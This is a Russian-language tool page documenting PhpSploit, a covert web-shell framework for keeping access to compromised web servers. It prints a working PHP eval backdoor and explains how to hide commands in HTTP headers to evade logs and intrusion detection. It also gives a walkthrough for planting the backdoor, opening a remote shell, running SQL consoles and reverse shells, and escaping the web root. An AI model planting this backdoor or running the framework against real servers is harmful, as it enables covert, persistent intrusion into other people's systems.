You are here: Home » Поддержка доступа » PhpSploit

PhpSploit

Описание PhpSploit

PhpSploit – это скрытный фреймворк для последующей эксплуатации.

PhpSploit – это фреймворк для удалённого контроля, предназначенный для обеспечения скрытого, интерактивного (в стиле шелла) подключения через HTTP между клиентом и веб-сервером. Это инструмент последующей эксплуатации, способный поддерживать доступ к скомпрометированному веб-серверу в целях повышения привилегий.

Краткий обзор

Обфусцированное подключение осуществляется с использованием HTTP заголовков в рамках стандартных клиентских запросов и соответствующих ответов веб-сервера, туннелируемых через крошечный полиморфный бэкдор:

<?php @eval($_SERVER['HTTP_PHPSPL01T']); ?>

Особенности

Эффективный: Более 20 плагинов для автоматизации задач последующей эксплуатации

  • Запуск команд и просмотр файловой системы, обход ограничений безопасности PHP
  • Выгрузка/Загрузка файлов между клиентом и целью
  • Редактирование удалённых файлов через локальный текстовый редактор
  • Запуск SQL консоли на целевой системе
  • Вызов обратных TCP шеллов

Невидимый: Фреймворк делается параноиками для параноиков

  • Практически невидимый для анализа логов и сетевых систем обнаружения вторжений, работающих по принципу обнаружения сигнатур
  • Обход Safe-mode (безопасного режима) и многих ограничений безопасности PHP
  • Общение скрыто в HTTP заголовках
  • Загружаемая полезная нагрузка обфусцируется для обхода NIDS
  • Поддержка http/https/socks4/socks5 прокси

Удобный: Ясный интерфейс с многими важнейшими функциями

  • Кроссплатформенный, как на серверной, так и на клиентской стороне.
  • Мощный интерфейс с завершением и поддержкой множественности команд
  • Функция сохранения/загрузки сессии с постоянной историей
  • Поддержка множественности запросов для больших полезных нагрузок (таких, как выгрузки)
  • Обеспечивает мощный, гибкий в настройке движок установок
  • Каждая настройка, такая как user-agent, имеет полиморфный режим
  • Настраиваемые переменные окружения для взаимодействия с плагинами
  • Обеспечивает законченные API для разработки плагинов

Домашняя страница: https://github.com/nil0x42/phpsploit

Автор: nil0x42

Лицензия: GPLv3

Справка по PhpSploit

использование:

phpsploit [-h] [-v] [-c <ФАЙЛ>] [-l <СЕССИЯ>] [-t ] [-s <ФАЙЛ>] [-e <КОМАНДА>] [-i]

Опции, используемые при запуске программы

опциональные аргументы:
  -h, --help                      показать справку и выйти
  -v, --version                   вывести информацию о версии и выйти
  -c <ФАЙЛ>, --config <ФАЙЛ>      использовать альтернативный конфигурационный файл
  -l <СЕССИЯ>, --load <СЕССИЯ>    загрузить данный файл сессии
  -t <URL>, --target <URL>        использовать данный URL как удалённую цель
  -s <ФАЙЛ>, --source <ФАЙЛ>      выполнить файл с командами (отключает интерактивный режим)
  -e <КОМАНДА>, --eval <КОМАНДА>  запустить команду phpsploit (отключает интерактивный режим)
  -i, --interactive               принудительный интерактивный режим, если отключён с `-e` или `-s`

Команды внутри оболочки

Основные команды
=============
    Команда        Описание
    -------        -----------

    alias          Установить псевдоним команды
    backlog        Показать последний командный вывод с $EDITOR
    clear          Очистить окно терминала
    corectl        Продвинутые основные отладочные утилиты
    env            Обработчик переменных окружения
    exit           Выйти из текущего интерфейса шелла
    exploit        Породить шелл с целевого сервера
    help           Показать помощь по командам
    history        История командной строки
    lrun           Выполнить команду оболочки на стороне клиента
    rtfm           Прочитать мануал
    session        Обработчик сессии phpsploit 
    set            Просмотреть и отредактировать настройки
    source         Выполнить файл скрипта phpsploit

Плагины файловой системы
===================
    Команда        Описание
    -------        -----------

    cat            Напечатать содержимое файла в стандартный вывод
    cd             Изменить директорию
    cp             Скопировать файл между двумя удалёнными путями
    download       Загрузить удалённый файл
    edit           Открыть файл в локальном редакторе
    ls             Составить список директорий
    mkdir          Создать директорию
    pwd            Напечатать текущую рабочую директорию
    rm             Удалить файл
    rmdir          Удалить пустую директорию
    stat           Отобразить статус файла
    touch          Изменить временные метки файла
    upload         Выгрузить файл


Системные плагины
==============
    Команда        Описание
    -------        -----------

    phpinfo        Вывести информацию о PHP конфигурации
    run            Выполнить команду на сервере
    suidroot       Обработчик Setuid backdoor 
    whoami         Напечатать текущий userid


Sql плагины
===========
    Команда        Описание
    -------        -----------

    mssql          Клиент для Microsoft SQL сервера
    mysql          Клиент для баз данных MySQL 
    oracle         Клиент для баз данных Oracle PL/SQL 


Псевдонимы команд
===============
    Псевдоним      Значение      
    -----          -----      

    backdoor       exploit --get-backdoor
    fileinfo       stat
    infect         exploit
    lcd            lrun cd
    load           session load
    lpwd           lrun pwd
    save           session save
    target         set ЦЕЛЬ

Руководство по PhpSploit

ИМЯ

phpsploit — скрытный, основанный на туннеле php веб шелл

СИНОПСИС

phpsploit [целевой-url|сессия]

ОПИСАНИЕ

phpsploit — это скрытный, основанный на туннеле php веб шелл: он предназначен для помощи в повышении привилегий через очень маленький php бэкдор, при этом оставаясь наиболее настолько незаметным, эффективным и настраиваемым как это возможно.

Инновационным в программе является сохранение микро бэкдора, которые управляется динамически шифруемыми HTTP заголовками, которые действуют как динамическая полезная нагрузка. Эта особенность полезна для обхода админов, которые ищут подозрительные строки в логах сервера, поскольку GET запросы без аргументов не так подозрительны, как POST запросы или GET запросы с подозрительными аргументами (к примеру, "?cmd=cat&edit=/etc/passwd").

Фреймворк phpsploit основывается на плагинах, т.е. пользователи с лёгкостью могут делать их собственные плагины или редактировать встроенные, которые с pspapi (phpsploit API) взаимодействуют с целевым сервером через фреймворк.

Его структура позволяет ему развиваться и быть легко адаптированным ко всем типам сценариев веб-эксплуатации, поскольку каждая настройка может быть отредактирована глобально (через пользовательский конфигурационный файл) или локально, используя команду set.

ОПЦИИ

Запуск phpsploit без каких-либо аргументов запустит пустую сессию с настройками по умолчанию.

Если в качестве аргумента указан URL, то в качестве настройки TARGET (цели) будет установлена это значение.

phpsploit http://127.0.0.1/backdoored-url.php

Вы можете в качестве аргумента использовать файл с ранее сохранённой сессией, для использования вместо пустой сессии. Сессия может быть (и должна) сохранена командой save.

phpsploit ~/targets/localhost/phpsploit.session

Для помощи в командной строке вы также можете использовать

phpsploit --help

ИСПОЛЬЗОВАНИЕ

Здесь описан самый простой способ использования phpsploit:

  1. Для начала найдите доступ к удалённому исполнению php.
  2. Откройте phpsploit и запустите команду infect для получения рабочего бэкдора.
  3. Вставьте этот бэкдор на удалённый сервер.
  4. Запустите "set TARGET http://site/backdoored-url.php".
  5. Вы также можете отредактировать некоторые НАСТРОЙКИ (командой "set"), такие как значения PROXY или REQ_*.
  6. Просто наберите "exploit" и наслаждайтесь вашим удалённым доступом к шеллу 🙂

ВНИМАНИЕ: Если команда "exploit" не работает и возвращает ошибку, это может происходить по множеству причин:

  1. HTTP Error 400: Bad request – Обычно, эта ошибка встречается из-за того, что одна или несколько настроек REQ_* слишком велики для сервера. Поэтому вам нужно подрегулировать эти значения.
  2. Request  error (ошибка запроса):  Connection  refused (В соединении отказано) – Если вы уверены, что указанная TARGET (ЦЕЛЬ) доступны с вашего компьютера (или с заданного ПРОКСИ), эта ошибка может встречаться из-за недействительного ПРОКСИ.
  3. Если вы вставили ваш BACKDOOR (БЭКДОР) в существующий удалённый PHP код, убедитесь, что он выполняется каждый раз.
  4. Другие ошибки могут возникать из-за того, что одна из ваших НАСТРОЕК была изменена без заботы о её правильности или из-за IDS, которая выявила попытку эксплуатации.
  5. Если ошибка, с которой вы столкнулись, отсутствует в списке, вы также можете разместить её с подробностями здесь https://bitbucket.org/nil0x42/phpsploit/issues или связаться с автором.

ИНТЕРФЕЙС

Фреймворк phpsploit включает два интерфейса оболочки.

ГЛАВНЫЙ ШЕЛЛ – это первый интерфейс оболочки, порождаемый при запуске фреймворка. Он используется для подготовки к эксплуатации цели. Через него вы можете локально отрегулировать НАСТРОЙКИ командой "set" и использовать команду "infect" для получения микро-бэкдора, который нужно вставить на цель.

УДАЛЁННЫЙ ШЕЛЛ – интерфейс, который запускается во время эксплуатации целевого сервера. Он используется для взаимодействия с заражённым URL.

ДЛЯ ПОЛУЧЕНИЯ ПОМОЩИ по командам phpsploit вы можете использовать "help <команда>", "<команда> --help" или "<команда> -h". Если вы не указали команду по которой хотите получить справку (например, exploit), то при наборе help без аргументов вы получите короткое описание предназначения каждой команды.

На клиентах Unix для команд работает автозавершение, и делается попытка использовать readline если это доступно.

НАСТРОЙКИ

Настройки phpsploit доступны из интерфейса, их можно просмотреть и отредактировать командой set.

При открытии новой сессии, все настройки устанавливаются в их значения по умолчанию, указанные в конфигурационном файле phpsploit. Его редактирование позволяет вам указать свои собственные значения по умолчанию, очень полезные функции для полиморфного бэкдора или для пользовательских заголовков HTTP. Для получения дополнительной информации о конфигурационной директории обратитесь к секции ФАЙЛЫ.

TARGET

Эта настройка содержит удалённый URL с бэкдором на целевом сервере, например, если вы вставили бэкдор (который получили командой infect) в файл с именем test.php в корневую веб-директорию вашего локального сервера, TARGET будет http://localhost/test.php .

Значение по умолчанию: None

BACKDOOR

Это шаблон бэкдора, используемого для генерации эффективного, но весьма маленького кода для записи в целевую веб-страницу, он должен быть валидным PHP кодом и предпочтительно делать его неразговорчивым путём добавления перед главной функцией символа @. Например, @eval() вместо eval(). Для дополнительной информации о том, как phpsploit строит запросы, смотрите специю ПОСТРОЕНИЕ ЗАПРОСОВ. Единственная цель БЭКДОРА – это выполнить содержимое REQ_HEADER_PAYLOAD, поэтому он должен содержать динамическую переменную %%PASSKEY%%.

Значение по умолчанию: <?php @eval($_SERVER[‘HTTP_%%PASSKEY%%’]); ?>

PASSKEY

Эта переменная интересна для пользовательской настройки, предполагается её использование как имени главного передаваемого заголовка, изменение значение по умолчанию сработает как изменение пароля, т.е. не допустит других пользователей phpsploit к использованию вашего бэкдора, конечно, если они не получат PASSKEY.

Значение по умолчанию: phpSpl01t

PROXY

Этой настройкой вы можете задать HTTP прокси по образцу адрес:порт для отправки запросов phpsploit через него. Будьте осторожны, нерабочий PROXY приведёт к тому, что запросы не будут достигать цели. Для отключения прокси, установите значение в None.

Значение по умолчанию: None

SAVEPATH

Здесь вы можете задать директорию по умолчанию, которая будет использоваться для сохранения сессий phpsploit в тех случаях, когда для команды save не указаны аргументы. В качестве значения по умолчанию используется временная директория вашей системы.

TMPPATH

Эта настройка чуть отличается от SAVEPATH, она используется в phpsploit для записи временных файлов, к примеру, её задействует команда edit в удалённом шелле. В качестве значения по умолчанию используется временная директория вашей системы.

REQ_DEFAULT_METHOD

Это метод http METHOD по умолчанию, который будет использоваться для отправки полезной нагрузки, поэтому значение может быть только GET или POST.

Значение по умолчанию: GET

REQ_HEADER_PAYLOAD

Эта настройка является динамическим форвардом полезной нагрузки, когда фреймворк phpsploit отправляет запрос, будет отправлен динамический HTTP HEADER по каждому запросу, именем заголовка будет настройка PASSKEY, а значением – значение REQ_HEADER_PAYLOAD, за дополнительной информацией о том, как phpsploit строит запросы, обратитесь к секции ПОСТРОЕНИЕ ЗАПРОСОВ.

Значение по умолчанию: <?php eval(base64_decode(%%BASE64%%)); ?>

REQ_INTERVAL

Эта настройка может использоваться для крупной полезной нагрузки, отправляемой с большим количеством запросов, например, при использовании команды удалённого шелла upload, когда на сервер отправляется большой файл. Это используется для добавления задержки между каждым запросом с простым синтаксисом. Использование числа как значения (например: 20) приведёт к ожиданию именно этого числа секунд, но вы также можете указать череду чисел, например, значение по умолчанию делает так, что составитель ждёт случайное число секунд между 1 и 10 перед каждым запросом. Для отключения этого просто установите 0.

Значение по умолчанию: 1-10 (случайный интервал)

REQ_MAX_HEADERS

Преимущественно используется для HTTP GET запросов. Предполагается, что phpsploit использует http заголовки для инкапсуляции полезной нагрузки, важно знать, какой именно лимит http сервера, поскольку слишком маленькая величина REQ_MAX_HEADERS уменьшит максимальный размер полезной нагрузки на один запрос. Большинство серверов, вроде Apache и IIS, принимают до 100 заголовков на запрос, но другие серверы могут позволить 200 заголовков или более, а более маленькие серверы могут ограничить заголовки 50 или меньше. Значение по умолчанию работает на большинстве популярных серверов с настройками по умолчанию, но в некоторых ситуациях это значение необходимо уменьшить.

Значение по умолчанию: 100

REQ_MAX_HEADER_SIZE

Преимущественно используется для HTTP GET запросов. Эта настройка является дополнительной для REQ_MAX_HEADERS, поскольку она устанавливает максимальный размер, который может содержать каждый заголовок. В большинстве случаев, обычно серверы ограничивают размер заголовка на 8Kb, но многие другие, вроде Apache, Tomcat и многих решений по виртуальному веб-хостингу ограничивают максимальный размер каждого заголовка на 4Kb или меньше.

Значение по умолчанию: 8Kb

REQ_MAX_POST_SIZE

Преимущественно используется для HTTP POST запросов. Это ограничение целевого сервера на POST данные, на множестве серверов этот лимит очень большой, 32Мб или более, но хватает других веб-серверов, которые в конфигурации по умолчанию устанавливают этот лимит в 8Мб. Если вы предполагаете использовать POST запрос во время удалённой сессии phpsploit, то рекомендуется запустить команду phpinfo, которая предоставляет реальный размер максимального POST сервера, затем отредактируйте REQ_MAX_POST_SIZE в phpsploit.

Значение по умолчанию: 8Mb

REQ_ZLIB_TRY_LIMIT

В строителе запросов phpsploit, когда полезная нагрузка не может быть отправлена в одном единичном запросе из-за того, что она слишком большая, фреймворк запустит много функций вычисления по расчёту, как много запросов понадобиться для каждого http метода и уменьшит количество необходимых запросов, каждый раз он будет пытаться сжать полезную нагрузку с ZLIB, эта функция полезно для уменьшения количества запросов. Но чем больше база полезной нагрузки, тем медленнее проходят вычисления. Исходя из этого вы можете этой настройкой указать максимальный размер полезной нагрузки, с которой изготовитель больше не будет сжимать резанную полезную нагрузку. Это увеличит количество необходимых запросов, но уменьшит время вычисления до приемлемого. Чем мощнее ваш компьютер, тем больше вы можете увеличить это значение.

Значение по умолчанию: 5Mb

HTTP_USER_AGENT

Это используемый в каждом запросе phpsploit заголовок user-agent, для выбора на каждый запрос случайного user-agent из списка слов, вы в качестве значения можете указать файл.

Значение по умолчанию: file://framework/misc/http_user_agents.lst

Обратите внимание, что настройки HTTP_USER_AGENT включены по умолчанию, но можно создать так много дефолтных заголовков, как вы хотите, просто нужно создать настройку, начинающуюся с HTTP_ за которой следует имя заголовка.

Пример: set HTTP_ACCEPT_LANGUAGE fr-FR;en-US

В настройках HTTP_* можно использовать файлы, синтаксис такой file:///full/path/to/file.txt, из этих файлов будут выбраны случайные строки для каждого http запроса. Это облегчает генерацию полиморфных запросов и, следовательно, скрытность. По умолчанию файл используется для настроек HTTP_USER_AGENT.

УДАЛЁННОЕ ОКРУЖЕНИЕ

Переменные удалённого окружения доступны из УДАЛЁННОГО ШЕЛЛА. Они полезны для сохранения информации, относящейся к серверу, а PSPAPI плагины имеют в них доступ записи.

Вы можете просматривать, редактировать или удалять их командой "env" через экземпляр УДАЛЁННОГО ШЕЛЛА.

Будьте очень внимательны при ручном редактировании этих переменных, поскольку неверные значения могут сделать неработоспособными определённые команды.

Вот список переменных УДАЛЁННОГО ОКРУЖЕНИЯ, используемых по умолчанию ядром phpsploit и встроенными плагинами:

CWD

Эта переменная содержит текущую рабочую директорию, команды cd и pwd используют её как источник.

WEB_ROOT

Эта переменная содержит абсолютный путь до удалённой корневой веб-директории.

WRITE_TMPDIR

Эта переменная должна императивно содержать абсолютный путь до удалённой директории с правами записи. Это основа для выполнения полезной нагрузки передаваемой в нескольких запросах, по этому пусти складываются в целое части полезной нагрузки.

WRITE_WEBDIR

Эта переменная окружения содержит абсолютный путь в удалённую директорию с правами записи доступную с сервера. Она может использоваться для МОДУЛЕЙ уклонения.

ПОСТРОЕНИЕ ЗАПРОСОВ

Этот раздел о том, как фреймворк phpsploit управляет запросами.

1  BACKDOOR

  • Для начала настройка BACKDOOR определяет главный шаблон бэкдора, он и только ОН должен быть записан в TARGET удалённого URL.
  • Для понимания принципа, необходимо знать, что язык PHP автоматически добавляет все заголовки запросов в глобальный массив $_SERVER, предварив каждое имя заголовка строкой "HTTP_"
  • Если предположить, что BACKDOOR просто работает как форвардер, исполняющий $_SERVER['HTTP_%%PASSKEY%%'] удалённой переменной, которая содержит REQ_HEADER_PAYLOAD.

2 – REQ_HEADER_PAYLOAD

  • REQ_HEADER_PAYLOAD, также известная как Header Forwarder – это заголовок, который отправляется на каждый http запрос, настройка PASSKEY используется как имя, а REQ_HEADER_PAYLOAD как шаблон её значения.
  • Этот заголовок действует как форвардер полезной нагрузки, что позволяет выполнение ПОЛЕЗНОЙ НАГРУЗКИ BASE64, исполнением PHP кода в BASE64 кодировке.

3 – ПОЛЕЗНАЯ НАГРУЗКА BASE64

  • ПОЛЕЗНАЯ НАГРУЗКА BASE64 – генерируется автоматически для каждого запроса, это последний шаг до реального выполнения полезной нагрузки.
  • Для POST запросов эта полезная нагрузка выполняет PHP переменную $POST['%%PASSKEY%%'], которая используется как РЕАЛЬНАЯ ПОЛЕЗНАЯ НАГРУЗКА при использовании этого http метода.
  • Для GET запросов он действует в связке со списком динамических phpsploit заголовков в алфавитном порядке, каждый из которых содержит расщеплённую РЕАЛЬНУЮ ПОЛЕЗНУЮ НАГРУЗКУ.

4 – РЕАЛЬНАЯ ПОЛЕОЗНАЯ НАГРУЗКА

  • РЕАЛЬНАЯ ПОЛЕОЗНАЯ НАГРУЗКА содержит большое количество сжатого с zlib PHP кода, впоследствии закодированного в base64, который динамически генерируется функциями оптимизации фреймворка phppsloit.
  • Раскодированный (по умолчанию делается по ПОЛЕЗНОЙ НАГРУЗКЕ BASE64), он является БАЗОВОЙ ПОЛЕЗНОЙ НАГРУЗКОЙ, проходящей через ИНКАПСУЛЯЦИЮ.

5 – БАЗОВАЯ ПОЛЕЗНАЯ НАГРУЗКА

  • Базовая полезная нагрузка может быть полезной нагрузкой плагина (содержащегося в файле [фреймворк]/plugins /<категория>/<плагин>/payload.php или дефолтном открывателе сессий phpsploit, который вызывается при запуске команды exploit.
  • Базовая полезная нагрузка совместима как минимум с 4.3.0 (поскольку множество веб-серверов уже используют старые версии PHP).

6 – ИНКАПСУЛЯЦИЯ

  • Для управления кодами возврата и phpsploit туннелированием, каждая БАЗОВАЯ ПОЛЕЗНАЯ НАГРУЗКА инкапсулируется кодом [фреймворк]/data/tunnel/encapsulator.php
  • Он также управляет сжатием отклика с ZLIB для ускорения ответов сервера.

ФАЙЛЫ

Директория конфигурации:

Если установлена переменная окружения оболочки $XDG_CONFIG_HOME:

${XDG_CONFIG_HOME}/phpsploit/ (скорее всего это ~/.config/phpsploit/)

В противном случае имя домашней директории используется в качестве базовой директории:

~/.phpsploit/ (т.е. ${HOME}/.phpsploit/ на GNU/Linux)

В конфигурационной директории рута файл "./config" используется как конфигурационный файл phpsploit.  Он позволяет изменить НАСТРОЙКИ по умолчанию (смотрите секцию НАСТРОЙКИ для дополнительной информации)

Директория "./plugins/" может использоваться для создания ваших собственных плагинов phpsploit.

Примеры запуска PhpSploit

Запускаем программу:

phpsploit

Далее устанавливаем пароль (в качестве парольной фразы выбрана «hackware»):

phpsploit > set PASSKEY hackware

Смотрим, какую строку нам нужно вставить на удалённый сервер:

phpsploit > infect 
[*] Current backdoor is: 

Т.е. нам можно вставить <?php @eval($_SERVER[‘HTTP_HACKWARE’]); ?> как в существующий файл, так и в новый, созданный нами.

Бэкдор был вставлен в файл index2.php на сайте http://miloserdov.org, поэтому команда для указания цели имеет вид:

phpsploit > set TARGET http://miloserdov.org/index2.php

Открываем шелл:

phpsploit > exploit
[*] Current backdoor is: 

Осмотримся:

phpsploit(miloserdov.org) > pwd
phpsploit(miloserdov.org) > ls
phpsploit(miloserdov.org) > whoami
phpsploit(miloserdov.org) > cat index.php

Попробуем выйти за пределы своей веб-папки:

phpsploit(miloserdov.org) > ls ../../../../..

Установка PhpSploit

Установка в Kali Linux

sudo apt-get install python3-pygments bpython3 readline-common
git clone https://github.com/nil0x42/phpsploit.git
cd phpsploit/
python3 ./phpsploit
phpsploit > set

Установка в BlackArch

Программа предустановлена в BlackArch.

Информация об установке в другие операционные системы будет добавлена позже.

Скриншоты PhpSploit

phpsploit-demo

01

02

Инструкции по PhpSploit

Ссылки на инструкции будут добавлены позже.

Близкие программы:

Рекомендуемые статьи: